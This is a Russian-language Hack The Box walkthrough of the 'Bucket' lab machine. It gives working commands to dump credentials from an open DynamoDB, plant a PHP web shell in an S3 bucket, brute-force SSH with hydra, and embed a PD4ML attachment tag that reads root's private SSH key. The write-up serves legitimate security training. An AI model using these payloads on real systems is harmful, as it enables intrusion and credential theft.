HTB Bucket. Взламываем сайт через Amazon S3 и похищаем пароль рута через PDF
Сегодня мы пройдем машину средней сложности с площадки Hack The Box. По дороге ты научишься получать и создавать данные в базе DynamoDB, посмотришь на работу с бакетами Amazon S3 и научишься получать данные через вложение в PDF, используя уязвимость в конвертере PDF4ML.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Первым делом я заношу IP машины (10.10.10.212) в файл /etc/hosts
и даю ей более удобный адрес bucket.htb
.
Затем переходим к сканированию портов. Я запускаю скрипт, который уже не раз описывал, и сканирую порты в два прохода (второй раз — со скриптами по найденным в первый раз портам).
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
По результатам имеем два открытых порта: 22-й (служба SSH) и 80-й (веб‑сервер Apache). На SSH пока стучаться рано, поскольку у нас нет учетных данных. Гораздо перспективнее будет изучить веб‑сервер. Внимательно осмотримся на сайте, так как, помимо точек входа и разных уязвимостей, следует собирать и другую важную информацию, например имена пользователей, применяемые технологии и прочие вещи, которые могут пригодиться в дальнейшем. Сам сайт на первый взгляд кажется простеньким, и на первой же странице отметим доменное имя bucket.htb
(с которым мы и так уже работаем), а также аккаунт техподдержки support@bucket.htb.
Заглядываем в исходный код страницы и видим примечательную особенность — использованы теги для вставки изображений. Файлы с картинками загружаются с другого домена — s3.bucket.htb
.
Значит, на веб‑сервере есть виртуальный хост s3.bucket.htb
и, если мы хотим с ним работать, надо добавить и его в файл /etc/hosts
. Сразу же можем проверить, что там.
Вместо HTML с него возвращается статус выполнения, а значит, используется какая‑то служебная технология (из названия поддомена пока что стараемся не делать быстрых выводов).
Сканирование веб-страниц
Одно из первых действий при тестировании веб‑приложений — это сканирование сайта на наличие интересных каталогов и файлов. Особенно это полезно, когда натыкаешься на тупик, подобный тому, в котором мы оказались. Для сканирования можно применять широко известные программы dirsearch и DIRB, но я обычно пользуюсь более быстрым gobuster. При запуске используем следующие параметры:
dir
— сканирование директорий и файлов;-t []
— количество потоков;-u []
— URL-адрес для сканирования;-w []
— словарь для перебора;--timeout []
— время ожидания ответа.
gobuster dir -t 128 -u http://s3.bucket.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --timeout 30s
Находим всего два интересных каталога. При обращении к первому снова получим ответ со статусом. Кстати, чтобы копаться в JSON, можно прямо в терминале использовать утилиту jq
, передавая ей ответ на запрос.
curl http://s3.bucket.htb/health | jq
Обращаясь к каталогу shell
, получим редирект на другой адрес:
http://444af250749d:4566/shell/
Если открыть его в браузере, можно увидеть, что это Amazon S3. Что ж, теперь никаких сомнений!
ТОЧКА ВХОДА
Amazon S3
Amazon Simple Storage Service (или S3) — это сервис для хранения объектов, полезный, когда нужно легко масштабирующееся хранилище. Его часто применяют, чтобы хранить статическую часть сайтов, ресурсы мобильных приложений, а также для хранения бэкапов и прочих подобных нужд. Также у Amazon есть своя СУБД класса NoSQL, которая хранит данные в формате «ключ — значение», она называется DynamoDB.
Наша цель — получить доступ к хранимым данным, поскольку они явно важны для прохождения машины. По S3 есть официальная документация. Ознакомившись с ней, ставим набор утилит AWS Command Line и настраиваем доступ к хранилищу.
sudo apt install awscli
aws configure
Разберемся с заданными параметрами.
- AWS Access Key ID и AWS Secret Access Key — идентификатор ключа доступа и сам секретный ключ доступа. Используются для подписи программных запросов, которые мы отправляем в AWS. Создать такой ключ можно здесь, но, так как он используется только для подписи запросов, я просто взял ID и ключ, представленные в документации.
- Default region name — регион AWS, серверы которого использовать по умолчанию. Обычно это ближайший к тебе регион, но, поскольку он может быть любым, я вставил значение из документации.
- Default output format — формат, в котором будет предоставлен результат запроса: JSON, YAML, text, table. Так как с помощью
jq
удобно читать JSON, выбираем его.
Теперь, когда заданы основные параметры для работы с AWS, мы можем выполнять запросы к базе DynamoDB. Как и при работе с любой базой, первым делом просмотрим, есть ли доступные таблицы. В запросе используем следующие параметры:
dynamodb
— указываем в качестве службы DynamoDB;list-table
— для получения списка таблиц;--endpoint-url
— URL для доступа к S3;--no-sign-request
— не подписывать запрос.
aws dynamodb list-tables --endpoint-url http://s3.bucket.htb/ --no-sign-request | jq
В базе всего одна таблица — users
. Название многообещающее: обычно именно в таких таблицах хранятся учетные данные. Давай получим хранимые данные с помощью запроса, похожего на предыдущий, только добавим команду scan
, чтобы получить записи, и в параметре --table-name
укажем имя таблицы.
aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb/ --no-sign-request | jq
Получаем три пары учетных данных логин:пароль
. Пользователи, скорее всего, не пригодятся, так как они служебные, а вот пароли всегда полезны. Таким образом, из DynamoDB мы взяли все, поэтому переходим к S3.
S3 — это хранилище, структурированное при помощи «бакетов» (то есть, по‑русски, «ведер»), аналогов папок с доступом по шифру и ключу. С помощью той же утилиты awscli мы можем получить список бакетов. Для этого в качестве службы указываем s3
вместо dynamodb
и передаем команду ls
.
aws s3 ls --endpoint-url http://s3.bucket.htb/ --no-sign-request
В корневом бакете обнаружим какой‑то файл HTML и еще один бакет — adserver
, заглянем и в него. Для обращения к бакету указываем параметр s3://[бакет]
.
aws s3 ls --endpoint-url http://s3.bucket.htb/ --human-readable --recursive s3://adserver
Внутри — страница HTML и три изображения. По названию изображения можно догадаться, что это тот самый сайт, которой мы встретили ранее. То есть если мы сможем поместить тут какой‑либо код, то сможем потом к нему обратиться, и код выполнится на сервере! Давай напишем простенький PHP shell, который будет выполнять принимаемую команду.
<?php echo system($_GET["r"]); ?>
Загружаем его в бакет. Для загрузки объектов вместо s3
нужно использовать s3api
с командой put-object
, также укажем целевой бакет, ключ и файл для сохранения.
aws s3api put-object --endpoint-url http://s3.bucket.htb/ --bucket adserver --key r.php --body r.php
Выполнив тестовую команду whoami
, узнаем, в контексте какого пользователя мы работаем, — это учетная запись www-data
службы веб‑сервера.
ПРОДВИЖЕНИЕ
Брутфорс пароля
У нас есть три полученных пароля, и мы обязательно должны попробовать использовать их для каждого найденного пользователя. Список пользователей можно посмотреть в файле /etc/passwd
.
Таким образом, в системе есть всего два пользователя с консолью, это мы определяем по пути к командной оболочке /bin/bash
в конце каждой строки. Поэтому нам просто нужно попробовать подключиться по SSH от имени пользователя roy
и перебрать три пароля.
Для перебора учетных данных к SSH я использовал hydra
со следующими параметрами:
-l []
— имя пользователя;-P []
— файл с паролями;ssh://bucket.htb
— протокол и адрес хоста.
hydra -l roy -P passwords.txt ssh://bucket.htb
И hydra определяет пароль для учетной записи roy
. Авторизуемся по SSH и забираем флаг в файле user.txt
. Так мы получаем управление хостом от имени пользователя.
ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Чтобы понять, как продвигаться дальше, я использую скрипты PEASS. Скачиваем вариант для Linux.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь загружаем его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью python
простой веб‑сервер. После выполнения этой команды веб‑сервер будет прослушивать порт 8000.
python3 -m http.server
На целевой машине при помощи wget
скачиваем скрипт с локального хоста. После загрузки скрипту нужно дать право на выполнение и запустить его.
wget http://[ip_локального_хоста]:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
В выводе — масса данных. Вот что интересное удалось из них выловить:
- на хосте уже есть awscli (что неудивительно), а он может нам пригодиться;
- docker-proxy запущен от имени
root
и использует порт 4556 (вспоминаем о редиректе на этот порт на стадии разведки); - на сервере есть созданные рутом и доступные файлы.
Давай взглянем на код в файле index.php
. Если приходит запрос типа POST с параметром action
и значением get_alert
, то из таблицы alerts
в S3 DynamoDB считываются поля title=Ransomware
и затем data
, значение которого передается в функцию passthru
для записи в файл PDF.
Здесь сразу возникла идея: так как мы контролируем данные, то можем и создать вложение в PDF. То есть, создав таблицу с нужными полями, мы можем получить в качестве вложения PDF любой файл! А если учесть, что это действие выполняется от имени root, то получается, что у нас есть возможность прочитать совершенно любой файл в системе. Самая интересная цель в таких случаях — приватный ключ SSH рута.
Чтобы обратиться к сайту через браузер, нужно узнать порт, на котором отвечает этот сайт, и затем туннелировать соединение. Посмотрим настройки Apache, а именно директиву VirtualHost в файле /etc/apache2/sites-available/000-default.conf
.
Из настроек узнаем, что нам нужен порт 8000. Давай прокинем этот порт, то есть сделаем так, чтобы весь трафик, приходивший на определенный порт локальной машины и уходивший с него, ретранслировался на такой же порт целевого хоста. Делаем это с помощью стандартного SSH.
ssh -L 8000:127.0.0.1:8000 roy@10.10.10.212
Попробуем обратиться к сайту с локальной машины. Для этого выполним запрос через браузер по адресу http://127.0.0.1:8000/index.php
.
Туннель работает, переходим к S3. Нам нужно создать запись, но сначала зададим конфигурации и посмотрим таблицы, как это делали раньше.
Давай создадим таблицу, учитывая приведенные ранее условия:
create-table
— команда для создания таблицы;--table-name []
— имя создаваемой таблицы (нам нужноalerts
);--attribute-definitions [],[]
— массив атрибутов, описывающих схему ключей для таблицы и индексов. В данном случае имя атрибута —title
(так нужно по условию), а тип атрибута — String (S);--key-schema [],[]
— задает атрибуты, составляющие первичный ключ для таблицы или индекса. В данном случае это атрибутtitle
, а тип — Hash;--provisioned-throughput [],[]
— представляет подготовленные параметры пропускной способности для указанной таблицы. Максимальное количество строго согласованных операций чтения (ReadCapacityUnits
) и записи (WriteCapacityUnits
), выполняемых в секунду, прежде чем DynamoDB вернет исключениеThrottlingException
.
aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://127.0.0.1:4566
Таблица успешно создана, осталось заполнить ее. Укажем в качестве значения данных вложение, указывающее на приватный ключ рута. Для создания элемента необходимо указать команду put-item
и передать этот элемент в формате JSON как значение параметра --item
. Тут нужно предоставить все атрибуты для первичного ключа. Например, в качестве title
будет передана строка (S) Ransomware
, тогда запись будет такая: {"title":{"S": "Ransomware"}
. А в качестве данных мы передаем тег <pd4ml:attachment>
, что позволит вставить вложение. Этому тегу нужно указать следующие параметры:
description
— описание, будет появляться при наведении на иконку;icon
— сама иконка (paperclip — скрепочка).
В качестве значения тега указываем путь к файлу /root/.ssh/id_rsa
.
aws dynamodb put-item --table-name alerts --item '{"title":{"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment description="ssh-key.txt" icon="paperclip">file:///root/.ssh/id_rsa</pd4ml:attachment>"}}' --endpoint-url http://127.0.0.1:4566
После создания записи обратимся к сайту и передадим необходимые параметры POST для формирования документа.
curl -X POST -d "action=get_alerts" http://127.0.0.1:8000/
А теперь откроем PDF по такому адресу:
http://127.0.0.1:8000/files/result.pdf
В нем имеется указатель на наше вложение, которое мы открываем.
Это вложение будет содержать ключ SSH рута. Его необходимо сохранить в файл на локальный хост и назначить необходимые для приватного ключа разрешения командой chmod 0600 id_rsa
. После чего можно подключиться по SSH от имени пользователя root
с имеющимся приватным ключом.
Таким путем мы захватываем данную машину и имеем над ней полный контроль!